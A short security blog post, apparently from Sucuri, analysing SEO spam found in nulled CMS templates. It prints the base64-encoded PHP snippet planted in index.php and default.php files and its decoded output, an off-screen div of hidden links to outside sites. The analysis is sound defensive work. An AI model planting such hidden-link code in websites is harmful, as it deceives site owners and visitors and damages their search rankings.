SEO Poisoning on nulled templates

We at Sucuri, always stress the risks associated with using themes, plugins or any add-on downloaded from unofficial sources (Nulled Versions). During our investigation process, we found into a theme, a malicious code being used to promote an external website and possibly generate revenue to the “developer” without user’s consent. Inside the downloaded package there were lots of files named index.php and default.php throughout different folders. Those files contained the following base64 code:

 <?php $wfk='PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7dG9wOjA7bGVmdDotOTk5OXB4OyI+CjxhIGhyZWY9Imh0dHA6Ly9qb29tbGE0ZXZlci5ydS9ib3d0aGVtZXMvMjI4Ny1idC1waG90b2dyYXBoeS5odG1sIiB0aXRsZT0iQlQgUGhvdG9ncmFwaHkgLSDRiNCw0LHQu9C+0L0gam9vbWxhIiB0YXJnZXQ9Il9ibGFuayI+QlQgUGhvdG9ncmFwaHkgLSDRiNCw0LHQu9C+0L0gam9vbWxhPC9hPgo8YSBocmVmPSJodHRwOi8vYWxsLWJvb2submV0LyIgdGl0bGU9ItCa0L3QuNCz0LgiIHRhcmdldD0iX2JsYW5rIj7QmtC90LjQs9C4PC9hPgo8L2Rpdj4='; echo base64_decode($wfk); ?>

Decoding it into a human-readable format, we got these “invisible” malicious links:

<div style="position:absolute;top:0;left:-9999px;"><a href="hxxp://joomla4ever .ru/bowthemes/2287-bt-photography.html" title="BT Photography - шаблон joomla" target="_blank">BT Photography - шаблон joomla</a><a href="hxxp://all-book .net/" title="Книги" target="_blank">Книги</a></div>

This kind of infection is commonly injected into Nulled components for different CMS’s and are designed specifically to damage the SEO positioning of a website due to the arbitrary links as well as promoting a particular website with intent to generate revenue for the “developers”.

To reduce the risks, we always recommend downloading any add-on (themes, plugins, extensions) for your site directly from the official source because you never know which extra “feature” you are getting from those “alternative” versions.

You may find more information related to this infection here, here and here.